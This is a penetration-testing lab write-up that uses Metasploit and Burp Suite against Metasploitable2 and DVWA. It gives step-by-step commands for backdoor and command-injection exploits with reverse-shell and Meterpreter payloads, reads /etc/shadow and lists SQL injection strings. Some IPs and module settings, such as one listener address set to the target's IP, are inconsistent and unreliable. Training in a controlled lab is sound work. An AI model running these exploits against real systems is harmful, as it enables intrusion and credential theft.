Exploitation Lab

Objective

Simulate real-world exploitation of vulnerabilities identified during reconnaissance and vulnerability assessment phases using industry-standard penetration testing tools.

Tools Used

- **Metasploit Framework:** Exploitation framework with extensive exploit database
- **Burp Suite:** Web application security testing platform
- **sqlmap:** Automated SQL injection tool
- **Exploit-DB:** Public exploit database for validation

Exploitation Methodology

PTES Exploitation Phase

1. Precision strike (single vulnerability)
2. Focused penetration (multiple related vulnerabilities)
3. Comprehensive penetration (full network compromise)

Workflow Steps

Step 1: Environment Preparation

1.1 Target Systems

- **Metasploitable2:** 192.168.1.100 (general vulnerability testing)
- **DVWA:** 192.168.1.200 (web application testing)

2: Metasploit Framework Setup

2.1 Launch Metasploit

Msfconsole

3: vsftpd 2.3.4 Backdoor Exploitation

3.1 Vulnerability Details

- **CVE:** CVE-2011-2523
- **CVSS Score:** 10.0 (Critical)
- **Description:** vsftpd 2.3.4 contains a backdoor triggered by a specific username
- **Impact:** Remote code execution with root privileges

3.2 Metasploit Exploit

Search for exploit

msf6 > search vsftpd

Use the exploit

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

Show exploit options

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Set target

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.43.131

Execute exploit

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Expected: Command shell session opened

3.3 Post-Exploitation Commands

Verify shell

whoami

Output: root

System information

uname -a

hostname

id

3.4 Log Entry

Exploit ID | Description | Target IP | Status | Payload | Timestamp

---|---|---|---|---|---

001 | vsftpd 2.3.4 RCE | 192.168.43.131 | Success | cmd/unix | 2026-01-28 11:00:00

Step 4: UnrealIRCd Backdoor Exploitation

4.1 Vulnerability Details

- **CVE:** CVE-2010-2075
- **CVSS Score:** 10.0 (Critical)
- **Description:** Backdoor in UnrealIRCd allowing arbitrary command execution
- **Port:** 6667 (IRC)

4.2 Metasploit Exploit

Search for UnrealIRCd exploit

msf6 > search unreal

Use exploit

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor

Configure

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.43.131

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6667

Select payload

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse

Set listener (your Kali IP)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.43.128

Exploit

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

4.3 Verification

In the shell

pwd

whoami

ps aux | grep unreal

netstat -tulpn | grep 6667

4.4 Log Entry

Exploit ID | Description | Target IP | Status | Payload | Timestamp

----------|---------------------|----------------|---------|-------------------|--------------------

002 | UnrealIRCd Backdoor | 192.168.43.131 | Success | cmd/unix/reverse | 2026-01-28 11:15:00

Step 5: Samba MS-RPC Shell Command Injection

5.1 Vulnerability Details

- **CVE:** CVE-2007-2447
- **CVSS Score:** 9.0 (Critical)
- **Description:** Samba username map script command injection
- **Affected Versions:** Samba 3.0.20 through 3.0.25rc3

5.2 Metasploit Exploit

Search for Samba exploit

msf6 > search samba usermap

Use exploit

msf6 > use exploit/multi/samba/usermap_script

Show options

msf6 exploit(multi/samba/usermap_script) > show options

Configure target

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.43.131

Set payload (reverse shell)

msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat

msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.43.131

msf6 exploit(multi/samba/usermap_script) > set LPORT 4444

Execute

msf6 exploit(multi/samba/usermap_script) > exploit

5.3 Session Interaction

List active sessions

msf6 > sessions -l

Interact with session

msf6 > sessions -i 1

Commands in shell

ls -la /root

cat /etc/shadow

5.4 Log Entry

Exploit ID | Description | Target IP | Status | Payload | Timestamp

---|---|---|---|---|---

003 | Samba RCE | 192.168.43.131 | Success | cmd/unix/reverse_nc | 2026-01-28 11:30:00

Step 6: Apache Tomcat Manager Exploitation

6.1 Vulnerability Details

- **Issue:** Default credentials on Tomcat Manager

- **CVSS Score:** 9.1 (Critical)
- **Port:** 8180
- **Impact:** Web shell deployment, code execution

6.2 Metasploit Exploit

Search Tomcat exploits

msf6 > search tomcat_mgr

Use the login exploit

msf6 > use exploit/multi/http/tomcat_mgr_login

Set options

msf6 exploit(multi/http/tomcat_mgr_login) > set RHOSTS 192.168.43.131

msf6 exploit(multi/http/tomcat_mgr_login) > set RPORT 8180

Try common credentials

msf6 exploit(multi/http/tomcat_mgr_login) > set USERNAME tomcat

msf6 exploit(multi/http/tomcat_mgr_login) > set PASSWORD tomcat

Or use built-in brute force

msf6 exploit(multi/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true

Execute

msf6 exploit(multi/http/tomcat_mgr_login) > run

6.3 Deploy Payload

After successful login, deploy payload

msf6 > use exploit/multi/http/tomcat_mgr_deploy

Configure

msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.43.131

msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180

msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat

msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat

Set Meterpreter payload

msf6 exploit(multi/http/tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/reverse_tcp

msf6 exploit(multi/http/tomcat_mgr_deploy) > set LHOST 192.168.43.128

Deploy

msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit

6.4 Log Entry

Exploit ID | Description | Target IP | Status | Payload | Timestamp

---|---|---|---|---|---

004 | Tomcat RCE | 192.168.43.131 | Success | java/meterpreter/reverse | 2026-01-28 11:45:00

Step 7: Web Application Testing with Burp Suite

7.1 SQL Injection Testing (Manual)

1. Navigate to: http://192.168.43.132/dvwa/vulnerabilities/sqli/
2. In Burp, intercept the request
3. Test payloads:

```
1' OR '1'='1
1' UNION SELECT null, version()--
1' UNION SELECT null, user()--
1' UNION SELECT null, database()--
```

4. Send to Repeater for analysis
5. Document successful injections

8 Validation Summary (50 words)

Exploit-DB confirms all tested vulnerabilities have public proof-of-concept code. vsftpd backdoor (EDB-ID: 49757), UnrealIRCd backdoor (EDB-ID: 16922), and Samba usermap (EDB-ID: 16320) exploits validated. Metasploit modules align with public PoCs. DVWA SQL injection matches OWASP examples. All exploits successfully replicated in controlled environment.